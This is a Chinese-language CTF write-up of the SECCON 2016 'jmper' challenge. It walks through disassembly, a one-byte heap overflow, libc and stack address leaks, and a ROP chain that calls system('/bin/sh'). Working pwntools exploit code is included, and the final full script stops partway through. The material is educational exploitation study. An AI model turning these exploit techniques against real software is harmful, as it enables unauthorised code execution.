6.1.17 pwn SECCONCTF2016 jmper

下载文件

题目复现

  1. $ file jmper
  2. jmper: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=9fce8ae11b21c03bf2aade96e1d763be668848fa, not stripped
  3. $ checksec -f jmper
  4. RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
  5. Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 4 jmper
  6. $ strings libc-2.19.so | grep "GNU C"
  7. GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.9) stable release version 2.19, by Roland McGrath et al.
  8. Compiled by GNU CC version 4.8.4.

64 位动态链接程序,但 Full RELRO 表示我们不能修改 GOT 表,然后还开启了 NX 防止注入 shellcode。No canary 表示可能有溢出,not stripped、No PIE 都是好消息。默认开启 ASLR。

在 Ubuntu-14.04 上玩一下:

  1. $ LD_PRELOAD=./libc-2.19.so ./jmper
  2. Welcome to my class.
  3. My class is up to 30 people :)
  4. 1. Add student.
  5. 2. Name student.
  6. 3. Write memo
  7. 4. Show Name
  8. 5. Show memo.
  9. 6. Bye :)
  10. 1
  11. 1. Add student.
  12. 2. Name student.
  13. 3. Write memo
  14. 4. Show Name
  15. 5. Show memo.
  16. 6. Bye :)
  17. 2
  18. ID:0
  19. Input name:AAAA
  20. 1. Add student.
  21. 2. Name student.
  22. 3. Write memo
  23. 4. Show Name
  24. 5. Show memo.
  25. 6. Bye :)
  26. 3
  27. ID:0
  28. Input memo:BBBB
  29. 1. Add student.
  30. 2. Name student.
  31. 3. Write memo
  32. 4. Show Name
  33. 5. Show memo.
  34. 6. Bye :)
  35. 4
  36. ID:0
  37. AAAA1. Add student.
  38. 2. Name student.
  39. 3. Write memo
  40. 4. Show Name
  41. 5. Show memo.
  42. 6. Bye :)
  43. 5
  44. ID:0
  45. BBBB1. Add student.
  46. 2. Name student.
  47. 3. Write memo
  48. 4. Show Name
  49. 5. Show memo.
  50. 6. Bye :)
  51. 6

似乎是新建的 student 会对应一个 id,根据 id 可以查看或修改对应的 name 和 memo。

题目解析

程序主要由两部分组成,一个是 main() 函数,另一个是实现了所有功能的 f() 函数。

main

  1. [0x00400730]> pdf @ main
  2. / (fcn) main 170
  3. | main ();
  4. | ; var int local_4h @ rbp-0x4
  5. | ; DATA XREF from 0x0040074d (entry0)
  6. | 0x00400ba8 push rbp
  7. | 0x00400ba9 mov rbp, rsp
  8. | 0x00400bac sub rsp, 0x10
  9. | 0x00400bb0 mov rax, qword [obj.stdin] ; [0x602018:8]=0
  10. | 0x00400bb7 mov ecx, 0
  11. | 0x00400bbc mov edx, 2
  12. | 0x00400bc1 mov esi, 0
  13. | 0x00400bc6 mov rdi, rax
  14. | 0x00400bc9 call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
  15. | 0x00400bce mov rax, qword [sym.stdout] ; loc.stdout ; [0x602010:8]=0
  16. | 0x00400bd5 mov ecx, 0
  17. | 0x00400bda mov edx, 2
  18. | 0x00400bdf mov esi, 0
  19. | 0x00400be4 mov rdi, rax
  20. | 0x00400be7 call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
  21. | 0x00400bec mov edi, str.Welcome_to_my_class. ; 0x400d88 ; "Welcome to my class."
  22. | 0x00400bf1 call sym.imp.puts ; int puts(const char *s)
  23. | 0x00400bf6 mov edi, str.My_class_is_up_to_30_people_: ; 0x400da0 ; "My class is up to 30 people :)"
  24. | 0x00400bfb call sym.imp.puts ; int puts(const char *s)
  25. | 0x00400c00 mov edi, 0xf0 ; 240
  26. | 0x00400c05 call sym.imp.malloc ; my_class = malloc(0xf0) 分配 my_class 数组
  27. | 0x00400c0a mov qword [obj.my_class], rax ; [0x602030:8]=0
  28. | 0x00400c11 mov edi, 0xc8 ; 200
  29. | 0x00400c16 call sym.imp.malloc ; jmpbuf = malloc(0xc8) 分配 jmpbuf 结构体
  30. | 0x00400c1b mov qword [obj.jmpbuf], rax ; [0x602038:8]=0
  31. | 0x00400c22 mov rax, qword [obj.jmpbuf] ; [0x602038:8]=0
  32. | 0x00400c29 mov rdi, rax
  33. | 0x00400c2c call sym.imp._setjmp ; setjmp(jmpbuf) 保存上下文到 jmpbuf
  34. | 0x00400c31 mov dword [local_4h], eax
  35. | 0x00400c34 cmp dword [local_4h], 0 ; setjmp 返回值与 0 比较
  36. | ,=< 0x00400c38 jne 0x400c41 ; 不等于时跳转
  37. | | 0x00400c3a call sym.f ; 否则调用函数 f(),进入主要程序逻辑
  38. | ,==< 0x00400c3f jmp 0x400c4b
  39. | || ; JMP XREF from 0x00400c38 (main)
  40. | |`-> 0x00400c41 mov edi, str.Nice_jump__Bye_: ; 0x400dbf ; "Nice jump! Bye :)"
  41. | | 0x00400c46 call sym.imp.puts ; int puts(const char *s)
  42. | | ; JMP XREF from 0x00400c3f (main)
  43. | `--> 0x00400c4b mov eax, 0
  44. | 0x00400c50 leave
  45. \ 0x00400c51 ret
  46. [0x00400730]> is ~my_class
  47. 055 0x00002030 0x00602030 GLOBAL OBJECT 8 my_class
  48. [0x00400730]> is ~jmpbuf
  49. 065 0x00002038 0x00602038 GLOBAL OBJECT 8 jmpbuf
  50. [0x00400730]> iS ~bss
  51. 24 0x00002010 0 0x00602010 48 --rw- .bss

在 main 函数里分配了两块内存空间,一块是包含了 30 个 student 结构体指针的数组,地址放在 my_class0x00602030)。另一块用于存放一个 jmp_buf 结构体,这个结构体中保存当前上下文,结构体的地址放在 jmpbuf0x00602038)。并且这两个符号都在 .bss 段中。

这里就涉及到 setjmp()longjmp() 的使用,它们用于从一个函数跳到另一个函数中的某个点处。函数原型如下:

  1. #include <setjmp.h>
  2. int setjmp(jmp_buf env);
  3. void longjmp(jmp_buf env, int val);
  • setjmp():将函数在此处的上下文保存到 jmp_buf 结构体,以供 longjmp 从此结构体中恢复上下文
    • env:保存上下文的 jmp_buf 结构体变量
    • 如果直接调用该函数,返回值为 0。如果该函数从 longjmp 调用返回,返回值根据 longjmp 的参数决定。
  • longjmp():从 jmp_buf 结构体中恢复由 setjmp 函数保存的上下文,该函数不返回,而是从 setjmp 函数中返回
    • env:由 setjmp 函数保存的上下文
    • val:传递给 setjmp 函数的返回值,如果 val 值为 0,setjmp 将会返回 1,否则返回 val

longjmp() 执行完之后,程序就回到了 setjmp() 的下一条语句继续执行。

f

接下来我们看一下各功能的实现(程序设计真的要吐槽一下):

  1. [0x00400730]> pdf @ sym.f
  2. / (fcn) sym.f 907
  3. | sym.f ();
  4. | ; var int local_1dh @ rbp-0x1d
  5. | ; var int local_1ch @ rbp-0x1c
  6. | ; var int local_18h @ rbp-0x18
  7. | ; var int local_14h @ rbp-0x14
  8. | ; var int local_10h @ rbp-0x10
  9. | ; var int local_8h @ rbp-0x8
  10. | ; CALL XREF from 0x00400c3a (main)
  11. | 0x0040081d push rbp
  12. | 0x0040081e mov rbp, rsp
  13. | 0x00400821 sub rsp, 0x20
  14. | 0x00400825 mov dword [obj.student_num], 0 ; [0x602028:4]=0
  15. | ; JMP XREF from 0x00400ba3 (sym.f)
  16. | .-> 0x0040082f mov edi, str.1._Add_student.__2._Name_student.__3._Write_memo__4._Show_Name__5._Show_memo.__6._Bye_: ; 0x400ce8 ; "1. Add student.\n2. Name student.\n3. Write memo\n4. Show Name\n5. Show memo.\n6. Bye :)" ; 循环开始
  17. | : 0x00400834 call sym.imp.puts ; int puts(const char *s)
  18. | : 0x00400839 lea rax, [local_18h]
  19. | : 0x0040083d mov rsi, rax
  20. | : 0x00400840 mov edi, 0x400d3c
  21. | : 0x00400845 mov eax, 0
  22. | : 0x0040084a call sym.imp.__isoc99_scanf ; 读入选项到 [local_18h]
  23. | : 0x0040084f call sym.imp.getchar ; int getchar(void)
  24. | : 0x00400854 mov eax, dword [local_18h]
  25. | : 0x00400857 cmp eax, 1 ; 1
  26. | ,==< 0x0040085a jne 0x4008e8
  27. | |: 0x00400860 mov eax, dword [obj.student_num] ; [0x602028:4]=0 ; 选项 1 ; 取出已有 student
  28. | |: 0x00400866 cmp eax, 0x1d ; 29 ; 与最大值比较
  29. | ,===< 0x00400869 jle 0x400889 ; 小于等于 30 时跳转
  30. | ||: 0x0040086b mov edi, str.Exception_has_occurred._Jump ; 0x400d3f ; 否则调用 longjmp 返回到 main
  31. | ||: 0x00400870 call sym.imp.puts ; int puts(const char *s)
  32. | ||: 0x00400875 mov rax, qword [obj.jmpbuf] ; [0x602038:8]=0 ; 取出 jmpbuf 结构体
  33. | ||: 0x0040087c mov esi, 0x1bf52 ; setjmp 返回值为 0x1bf52
  34. | ||: 0x00400881 mov rdi, rax
  35. | ||: 0x00400884 call sym.imp.longjmp ; longjmp(jmpbuf, 0x1bf52)
  36. | ||: ; JMP XREF from 0x00400869 (sym.f)
  37. | `---> 0x00400889 mov edi, 0x30 ; '0' ; 48
  38. | |: 0x0040088e call sym.imp.malloc ; malloc(0x30) ; 分配一个 student 结构
  39. | |: 0x00400893 mov qword [local_8h], rax ; 将 student 地址放到 [local_8h]
  40. | |: 0x00400897 mov eax, dword [obj.student_num] ; [0x602028:4]=0
  41. | |: 0x0040089d movsxd rdx, eax
  42. | |: 0x004008a0 mov rax, qword [local_8h]
  43. | |: 0x004008a4 mov qword [rax], rdx ; 将 student_num 作为该 student->id
  44. | |: 0x004008a7 mov edi, 0x20 ; 32
  45. | |: 0x004008ac call sym.imp.malloc ; malloc(0x20) ; 分配一块空间作为 name
  46. | |: 0x004008b1 mov rdx, rax
  47. | |: 0x004008b4 mov rax, qword [local_8h]
  48. | |: 0x004008b8 mov qword [rax + 0x28], rdx ; 将 name 的地址放到 student->name
  49. | |: 0x004008bc mov rax, qword [obj.my_class] ; [0x602030:8]=0
  50. | |: 0x004008c3 mov edx, dword [obj.student_num] ; [0x602028:4]=0
  51. | |: 0x004008c9 movsxd rdx, edx
  52. | |: 0x004008cc mov rcx, qword [local_8h]
  53. | |: 0x004008d0 mov qword [rax + rdx*8], ; 将新分配的 student 地址放到 my_class[id]
  54. | |: 0x004008d4 mov eax, dword [obj.student_num] ; [0x602028:4]=0
  55. | |: 0x004008da add eax, 1 ; student_num + 1
  56. | |: 0x004008dd mov dword [obj.student_num], eax ; [0x602028:4]=0 ; 写回 student_num
  57. | ,===< 0x004008e3 jmp 0x400ba3 ; 回到菜单
  58. | ||: ; JMP XREF from 0x0040085a (sym.f)
  59. | |`--> 0x004008e8 mov eax, dword [local_18h]
  60. | | : 0x004008eb cmp eax, 2 ; 2
  61. | |,==< 0x004008ee jne 0x4009b3
  62. | ||: 0x004008f4 mov esi, 0x400d5d ; 选项 2
  63. | ||: 0x004008f9 mov edi, 0x400d61
  64. | ||: 0x004008fe mov eax, 0
  65. | ||: 0x00400903 call sym.imp.printf ; int printf(const char *format)
  66. | ||: 0x00400908 lea rax, [local_1ch]
  67. | ||: 0x0040090c mov rsi, rax
  68. | ||: 0x0040090f mov edi, 0x400d3c
  69. | ||: 0x00400914 mov eax, 0
  70. | ||: 0x00400919 call sym.imp.__isoc99_scanf ; 读入 id [local_1ch]
  71. | ||: 0x0040091e call sym.imp.getchar ; int getchar(void)
  72. | ||: 0x00400923 mov edx, dword [local_1ch]
  73. | ||: 0x00400926 mov eax, dword [obj.student_num] ; [0x602028:4]=0
  74. | ||: 0x0040092c cmp edx, eax ; 判断 id 是否有效
  75. | ,====< 0x0040092e jge 0x400937 ; 无效时跳转
  76. | |||: 0x00400930 mov eax, dword [local_1ch]
  77. | |||: 0x00400933 test eax, eax ; 根据 id 设置符号位
  78. | ,=====< 0x00400935 jns 0x40094b ; 符号位为 0 时跳转,即 id 大于等于 0
  79. | ||||: ; JMP XREF from 0x0040092e (sym.f)
  80. | |`----> 0x00400937 mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID."
  81. | | ||: 0x0040093c call sym.imp.puts ; int puts(const char *s)
  82. | | ||: 0x00400941 mov edi, 1
  83. | | ||: 0x00400946 call sym.imp.exit ; void exit(int status)
  84. | | ||: ; JMP XREF from 0x00400935 (sym.f)
  85. | `-----> 0x0040094b mov esi, str.Input_name: ; 0x400d70 ; "Input name:"
  86. | ||: 0x00400950 mov edi, 0x400d61
  87. | ||: 0x00400955 mov eax, 0
  88. | ||: 0x0040095a call sym.imp.printf ; int printf(const char *format)
  89. | ||: 0x0040095f mov rax, qword [obj.my_class] ; [0x602030:8]=0
  90. | ||: 0x00400966 mov edx, dword [local_1ch]
  91. | ||: 0x00400969 movsxd rdx, edx
  92. | ||: 0x0040096c mov rax, qword [rax + rdx*8] ; 取出 my_class[id]
  93. | ||: 0x00400970 mov rax, qword [rax + 0x28] ; [0x28:8]=-1 ; 取出 my_class[id]->name
  94. | ||: 0x00400974 mov qword [local_10h], rax ; 放到 [local_10h]
  95. | ||: 0x00400978 mov dword [local_14h], 0 ; 循环计数 i 初始化为 0
  96. | ,====< 0x0040097f jmp 0x4009a8 ; 进入循环
  97. | |||: ; JMP XREF from 0x004009ac (sym.f)
  98. | .-----> 0x00400981 call sym.imp.getchar ; int getchar(void)
  99. | :|||: 0x00400986 mov byte [local_1dh], al ; 读入一个字节到 [local_1dh]
  100. | :|||: 0x00400989 cmp byte [local_1dh], 0xa ; [0xa:1]=255 ; 10
  101. | ,======< 0x0040098d jne 0x400995 ; 非换行符时跳转
  102. | |:|||: 0x0040098f nop
  103. | ,=======< 0x00400990 jmp 0x400ba3 ; 否则回到菜单
  104. | ||:|||: ; JMP XREF from 0x0040098d (sym.f)
  105. | |`------> 0x00400995 mov rax, qword [local_10h]
  106. | | :|||: 0x00400999 movzx edx, byte [local_1dh]
  107. | | :|||: 0x0040099d mov byte [rax], dl ; 写入该字节写入 name
  108. | | :|||: 0x0040099f add qword [local_10h], 1 ; name = name + 1
  109. | | :|||: 0x004009a4 add dword [local_14h], 1 ; i = i + 1
  110. | | :|||: ; JMP XREF from 0x0040097f (sym.f)
  111. | | :`----> 0x004009a8 cmp dword [local_14h], 0x20 ; [0x20:4]=-1 ; 32
  112. | | `=====< 0x004009ac jle 0x400981 ; 当小于等于 32 字节时继续循环,即读入 33 字节,存在溢出
  113. | | ,====< 0x004009ae jmp 0x400ba3 ; 否则回到菜单
  114. | | |||: ; JMP XREF from 0x004008ee (sym.f)
  115. | | ||`--> 0x004009b3 mov eax, dword [local_18h]
  116. | | || : 0x004009b6 cmp eax, 3 ; 3
  117. | | ||,==< 0x004009b9 jne 0x400a7e
  118. | | |||: 0x004009bf mov esi, 0x400d5d ; 选项 3
  119. | | |||: 0x004009c4 mov edi, 0x400d61
  120. | | |||: 0x004009c9 mov eax, 0
  121. | | |||: 0x004009ce call sym.imp.printf ; int printf(const char *format)
  122. | | |||: 0x004009d3 lea rax, [local_1ch]
  123. | | |||: 0x004009d7 mov rsi, rax
  124. | | |||: 0x004009da mov edi, 0x400d3c
  125. | | |||: 0x004009df mov eax, 0
  126. | | |||: 0x004009e4 call sym.imp.__isoc99_scanf ; 读入 id [local_1ch]
  127. | | |||: 0x004009e9 call sym.imp.getchar ; int getchar(void)
  128. | | |||: 0x004009ee mov edx, dword [local_1ch]
  129. | | |||: 0x004009f1 mov eax, dword [obj.student_num] ; [0x602028:4]=0
  130. | | |||: 0x004009f7 cmp edx, eax ; 判断 id 是否有效
  131. | | ,=====< 0x004009f9 jge 0x400a02 ; 无效时跳转
  132. | | ||||: 0x004009fb mov eax, dword [local_1ch]
  133. | | ||||: 0x004009fe test eax, eax ; 根据 id 设置符号位
  134. | |,======< 0x00400a00 jns 0x400a16 ; 符号位为 0 时跳转,即 id 大于等于 0
  135. | ||||||: ; JMP XREF from 0x004009f9 (sym.f)
  136. | ||`-----> 0x00400a02 mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID."
  137. | || |||: 0x00400a07 call sym.imp.puts ; int puts(const char *s)
  138. | || |||: 0x00400a0c mov edi, 1
  139. | || |||: 0x00400a11 call sym.imp.exit ; void exit(int status)
  140. | || |||: ; JMP XREF from 0x00400a00 (sym.f)
  141. | |`------> 0x00400a16 mov esi, str.Input_memo: ; 0x400d7c ; "Input memo:"
  142. | | |||: 0x00400a1b mov edi, 0x400d61
  143. | | |||: 0x00400a20 mov eax, 0
  144. | | |||: 0x00400a25 call sym.imp.printf ; int printf(const char *format)
  145. | | |||: 0x00400a2a mov rax, qword [obj.my_class] ; [0x602030:8]=0
  146. | | |||: 0x00400a31 mov edx, dword [local_1ch]
  147. | | |||: 0x00400a34 movsxd rdx, edx
  148. | | |||: 0x00400a37 mov rax, qword [rax + rdx*8] ; 取出 my_class[id]
  149. | | |||: 0x00400a3b add rax, 8 ; 取出 my_class[id]->memo
  150. | | |||: 0x00400a3f mov qword [local_10h], rax ; 放到 [local_10h]
  151. | | |||: 0x00400a43 mov dword [local_14h], 0 ; 循环计数 i,初始化为 0
  152. | | ,=====< 0x00400a4a jmp 0x400a73 ; 进入循环
  153. | | ||||: ; JMP XREF from 0x00400a77 (sym.f)
  154. | |.------> 0x00400a4c call sym.imp.getchar ; int getchar(void)
  155. | |:||||: 0x00400a51 mov byte [local_1dh], al
  156. | |:||||: 0x00400a54 cmp byte [local_1dh], 0xa ; [0xa:1]=255 ; 10
  157. | ========< 0x00400a58 jne 0x400a60
  158. | |:||||: 0x00400a5a nop
  159. | ========< 0x00400a5b jmp 0x400ba3
  160. | |:||||: ; JMP XREF from 0x00400a58 (sym.f)
  161. | --------> 0x00400a60 mov rax, qword [local_10h]
  162. | |:||||: 0x00400a64 movzx edx, byte [local_1dh]
  163. | |:||||: 0x00400a68 mov byte [rax], dl
  164. | |:||||: 0x00400a6a add qword [local_10h], 1
  165. | |:||||: 0x00400a6f add dword [local_14h], 1
  166. | |:||||: ; JMP XREF from 0x00400a4a (sym.f)
  167. | |:`-----> 0x00400a73 cmp dword [local_14h], 0x20 ; [0x20:4]=-1 ; 32
  168. | |`======< 0x00400a77 jle 0x400a4c ; 当小于等于 32 字节时继续循环,即读入 33 字节,存在溢出
  169. | | ,=====< 0x00400a79 jmp 0x400ba3 ; 否则回到菜单
  170. | | ||||: ; JMP XREF from 0x004009b9 (sym.f)
  171. | | |||`--> 0x00400a7e mov eax, dword [local_18h]
  172. | | ||| : 0x00400a81 cmp eax, 4 ; 4
  173. | | |||,==< 0x00400a84 jne 0x400b0d
  174. | | ||||: 0x00400a8a mov esi, 0x400d5d ; 选项 4
  175. | | ||||: 0x00400a8f mov edi, 0x400d61
  176. | | ||||: 0x00400a94 mov eax, 0
  177. | | ||||: 0x00400a99 call sym.imp.printf ; int printf(const char *format)
  178. | | ||||: 0x00400a9e lea rax, [local_1ch]
  179. | | ||||: 0x00400aa2 mov rsi, rax
  180. | | ||||: 0x00400aa5 mov edi, 0x400d3c
  181. | | ||||: 0x00400aaa mov eax, 0
  182. | | ||||: 0x00400aaf call sym.imp.__isoc99_scanf ; 读入 id 到 [local_1ch]
  183. | | ||||: 0x00400ab4 call sym.imp.getchar ; int getchar(void)
  184. | | ||||: 0x00400ab9 mov edx, dword [local_1ch]
  185. | | ||||: 0x00400abc mov eax, dword [obj.student_num] ; [0x602028:4]=0
  186. | | ||||: 0x00400ac2 cmp edx, eax ; 判断 id 是否有效
  187. | |,======< 0x00400ac4 jge 0x400acd ; 无效时跳转
  188. | ||||||: 0x00400ac6 mov eax, dword [local_1ch]
  189. | ||||||: 0x00400ac9 test eax, eax ; 根据 id 设置符号位
  190. | ========< 0x00400acb jns 0x400ae1 ; 符号位为 0 时跳转,即 id 大于等于 0
  191. | ||||||: ; JMP XREF from 0x00400ac4 (sym.f)
  192. | |`------> 0x00400acd mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID."
  193. | | ||||: 0x00400ad2 call sym.imp.puts ; int puts(const char *s)
  194. | | ||||: 0x00400ad7 mov edi, 1
  195. | | ||||: 0x00400adc call sym.imp.exit ; void exit(int status)
  196. | | ||||: ; JMP XREF from 0x00400acb (sym.f)
  197. | --------> 0x00400ae1 mov rax, qword [obj.my_class] ; [0x602030:8]=0
  198. | | ||||: 0x00400ae8 mov edx, dword [local_1ch]
  199. | | ||||: 0x00400aeb movsxd rdx, edx
  200. | | ||||: 0x00400aee mov rax, qword [rax + rdx*8] ; 取出 my_class[id]
  201. | | ||||: 0x00400af2 mov rax, qword [rax + 0x28] ; [0x28:8]=-1 ; 取出 my_class[id]->name
  202. | | ||||: 0x00400af6 mov rsi, rax
  203. | | ||||: 0x00400af9 mov edi, 0x400d61
  204. | | ||||: 0x00400afe mov eax, 0
  205. | | ||||: 0x00400b03 call sym.imp.printf ; 打印出 my_class[id]->name
  206. | |,======< 0x00400b08 jmp 0x400ba3 ; 回到菜单
  207. | ||||||: ; JMP XREF from 0x00400a84 (sym.f)
  208. | |||||`--> 0x00400b0d mov eax, dword [local_18h]
  209. | ||||| : 0x00400b10 cmp eax, 5 ; 5
  210. | |||||,==< 0x00400b13 jne 0x400b99
  211. | ||||||: 0x00400b19 mov esi, 0x400d5d ; 选项 5
  212. | ||||||: 0x00400b1e mov edi, 0x400d61
  213. | ||||||: 0x00400b23 mov eax, 0
  214. | ||||||: 0x00400b28 call sym.imp.printf ; int printf(const char *format)
  215. | ||||||: 0x00400b2d lea rax, [local_1ch]
  216. | ||||||: 0x00400b31 mov rsi, rax
  217. | ||||||: 0x00400b34 mov edi, 0x400d3c
  218. | ||||||: 0x00400b39 mov eax, 0
  219. | ||||||: 0x00400b3e call sym.imp.__isoc99_scanf ; 读入 id 到 [local_1ch]
  220. | ||||||: 0x00400b43 call sym.imp.getchar ; int getchar(void)
  221. | ||||||: 0x00400b48 mov edx, dword [local_1ch]
  222. | ||||||: 0x00400b4b mov eax, dword [obj.student_num] ; [0x602028:4]=0
  223. | ||||||: 0x00400b51 cmp edx, eax ; 判断 id 是否有效
  224. | ========< 0x00400b53 jge 0x400b5c ; 无效时跳转
  225. | ||||||: 0x00400b55 mov eax, dword [local_1ch]
  226. | ||||||: 0x00400b58 test eax, eax ; 根据 id 设置符号位
  227. | ========< 0x00400b5a jns 0x400b70 ; 符号位为 0 时跳转,即 id 大于等于 0
  228. | ||||||: ; JMP XREF from 0x00400b53 (sym.f)
  229. | --------> 0x00400b5c mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID."
  230. | ||||||: 0x00400b61 call sym.imp.puts ; int puts(const char *s)
  231. | ||||||: 0x00400b66 mov edi, 1
  232. | ||||||: 0x00400b6b call sym.imp.exit ; void exit(int status)
  233. | ||||||: ; JMP XREF from 0x00400b5a (sym.f)
  234. | --------> 0x00400b70 mov rax, qword [obj.my_class] ; [0x602030:8]=0
  235. | ||||||: 0x00400b77 mov edx, dword [local_1ch]
  236. | ||||||: 0x00400b7a movsxd rdx, edx
  237. | ||||||: 0x00400b7d mov rax, qword [rax + rdx*8] ; 取出 my_class[id]
  238. | ||||||: 0x00400b81 add rax, 8 ; 取出 my_class[id]->memo
  239. | ||||||: 0x00400b85 mov rsi, rax
  240. | ||||||: 0x00400b88 mov edi, 0x400d61
  241. | ||||||: 0x00400b8d mov eax, 0
  242. | ||||||: 0x00400b92 call sym.imp.printf ; 打印出 my_class[id]->memo
  243. | ========< 0x00400b97 jmp 0x400ba3 ; 回到菜单
  244. | ||||||: ; JMP XREF from 0x00400b13 (sym.f)
  245. | |||||`--> 0x00400b99 mov edi, 0
  246. | ||||| : 0x00400b9e call sym.imp.exit ; void exit(int status)
  247. | ||||| | ; XREFS: JMP 0x00400b97 JMP 0x00400b08 JMP 0x00400a79 JMP 0x00400a5b JMP 0x004009ae JMP 0x00400990 JMP 0x004008e3
  248. \ `````-`=< 0x00400ba3 jmp 0x40082f ; 循环继续
  249. [0x00400730]> is ~student_num
  250. 048 0x00002028 0x00602028 GLOBAL OBJECT 4 student_num

首先注意到这个函数没有 return 指令,要想离开只有两种方法,一个是 exit(),另一个是 longjmp() 跳回 main 函数,既然这么设置那当然是有用意的。

通过分析,可以得到 student 结构体和数组 my_class:

  1. struct student {
  2. uint8_t id;
  3. char memo[0x20];
  4. char *name;
  5. } student;
  6. struct student *my_class[0x1e];

漏洞就是在读入 memo 和 name 的时候都存在的 one-byte overflow,其中 memo 会覆盖掉 name 指针的低字节。考虑可以将 name 指针改成其它地址,并利用修改 name 的功能修改地址上的内容。

漏洞利用

所以我们的思路是通过 one-byte overflow,使 my_class[0]->name 指向 my_class[1]->name,从而获得任意地址读写的能力。然后泄漏 system 函数地址和 main 函数的返回地址,将返回地址覆盖以制造 ROP,调用 system(‘/bin/sh’) 获得 shell。

overflow

  1. def overflow():
  2. add() # idx 0
  3. add() # idx 1
  4. write_memo(0, 'A'*0x20 + '\x78')

首先添加两个 student:

  1. gdb-peda$ p student_num
  2. $1 = 0x2
  3. gdb-peda$ x/2gx my_class
  4. 0x603010: 0x00000000006031e0 0x0000000000603250
  5. gdb-peda$ x/30gx *my_class-0x10
  6. 0x6031d0: 0x0000000000000000 0x0000000000000041 <-- student chunk 0
  7. 0x6031e0: 0x0000000000000000 0x0000000000000000 <-- my_class[0]->name <-- my_class[0]->memo
  8. 0x6031f0: 0x0000000000000000 0x0000000000000000
  9. 0x603200: 0x0000000000000000 0x0000000000603220 <-- my_class[0]->name
  10. 0x603210: 0x0000000000000000 0x0000000000000031 <-- name chunk 0
  11. 0x603220: 0x0000000000000000 0x0000000000000000
  12. 0x603230: 0x0000000000000000 0x0000000000000000
  13. 0x603240: 0x0000000000000000 0x0000000000000041 <-- student chunk 1
  14. 0x603250: 0x0000000000000001 0x0000000000000000 <-- my_class[1]->name <-- my_class[1]->memo
  15. 0x603260: 0x0000000000000000 0x0000000000000000
  16. 0x603270: 0x0000000000000000 0x0000000000603290 <-- my_class[1]->name
  17. 0x603280: 0x0000000000000000 0x0000000000000031 <-- name chunk 1
  18. 0x603290: 0x0000000000000000 0x0000000000000000
  19. 0x6032a0: 0x0000000000000000 0x0000000000000000
  20. 0x6032b0: 0x0000000000000000 0x0000000000020d51 <-- top chunk

然后利用 my_class[0]->memo 的溢出修改 my_class[0]->name,使其指向 my_class[1]->name:

  1. gdb-peda$ x/30gx *my_class-0x10
  2. 0x6031d0: 0x0000000000000000 0x0000000000000041
  3. 0x6031e0: 0x0000000000000000 0x4141414141414141
  4. 0x6031f0: 0x4141414141414141 0x4141414141414141
  5. 0x603200: 0x4141414141414141 0x0000000000603278 <-- my_class[0]->name
  6. 0x603210: 0x0000000000000000 0x0000000000000031
  7. 0x603220: 0x0000000000000000 0x0000000000000000
  8. 0x603230: 0x0000000000000000 0x0000000000000000
  9. 0x603240: 0x0000000000000000 0x0000000000000041
  10. 0x603250: 0x0000000000000001 0x0000000000000000
  11. 0x603260: 0x0000000000000000 0x0000000000000000
  12. 0x603270: 0x0000000000000000 0x0000000000603290 <-- my_class[1]->name
  13. 0x603280: 0x0000000000000000 0x0000000000000031
  14. 0x603290: 0x0000000000000000 0x0000000000000000
  15. 0x6032a0: 0x0000000000000000 0x0000000000000000
  16. 0x6032b0: 0x0000000000000000 0x0000000000020d51

通过 overflow,我们控制了 my_class[1]->name,可以对任意地址(除了GOT表)读或写。

leak

然后我们可以修改 my_class[1]->name 为 libc 中任意符号的地址,从而泄漏出需要的地址信息:

  1. def leak():
  2. global system_addr
  3. global main_ret_addr
  4. write_name(0, p64(elf.got['puts']))
  5. show_name(1)
  6. puts_addr = (u64(io.recvline()[:6] + '\x00'*2))
  7. libc_base = puts_addr - libc.symbols['puts']
  8. system_addr = libc_base + libc.symbols['system']
  9. environ_addr = libc_base + libc.symbols['environ']
  10. write_name(0, p64(environ_addr))
  11. show_name(1)
  12. stack_addr = u64(io.recvline()[:6] + '\x00'*2)
  13. main_ret_addr = stack_addr - 0xf0
  14. log.info("libc base: 0x%x" % libc_base)
  15. log.info("system address: 0x%x" % system_addr)
  16. log.info("main return address: 0x%x" % main_ret_addr)

于是我们就得到了 system 函数的地址和 main 函数的返回地址。

这里我们利用了 libc 中的 environ 符号,该符号执行一个栈上的地址,通过计算偏移即可得到返回地址。

  1. [*] libc base: 0x7ffff7a15000
  2. [*] system address: 0x7ffff7a5b590
  3. [*] main return address: 0x7fffffffed78

overwrite

  1. def overwrite():
  2. write_name(0, p64(0x602028)) # student_num
  3. write_name(1, '/bin/sh\x00')
  4. write_name(0, p64(main_ret_addr))
  5. write_name(1, p64(pop_rdi_ret) + p64(0x602028) + p64(system_addr)) # system('/bin/sh')

接下来我们将 student_num 改为 ‘/bin/sh’,这样一方面为 system 提供了参数,另一方面可以触发 longjmp。

  1. gdb-peda$ x/s 0x602028
  2. 0x602028 <student_num>: "/bin/sh"
  3. gdb-peda$ x/3gx 0x7fffffffed78
  4. 0x7fffffffed78: 0x0000000000400cc3 0x0000000000602028
  5. 0x7fffffffed88: 0x00007ffff7a5b590

pwn

  1. def pwn():
  2. add() # call longjmp to back to main
  3. io.interactive()

Bingo!!!

  1. $ python exp.py
  2. [+] Starting local process './jmper': pid 3935
  3. [*] Switching to interactive mode
  4. Exception has occurred. Jump!
  5. Nice jump! Bye :)
  6. $ whoami
  7. firmy

exploit

完整的 exp 如下:

  1. #!/usr/bin/env python
  2. from pwn import *
  3. # context.log_level = 'debug'
  4. io = process(['./jmper'], env={'LD_PRELOAD':'./libc-2.19.so'})
  5. elf = ELF('jmper')
  6. libc = ELF('libc-2.19.so')
  7. pop_rdi_ret = 0x400cc3
  8. def add():
  9. io.sendlineafter("Bye :)\n", '1')
  10. def write_name(idx, content):
  11. io.sendlineafter("Bye :)\n", '2')
  12. io.sendlineafter("ID:", str(idx))
  13. io.sendlineafter("name:", content)
  14. def write_memo(idx, content):
  15. io.sendlineafter("Bye :)\n", '3')
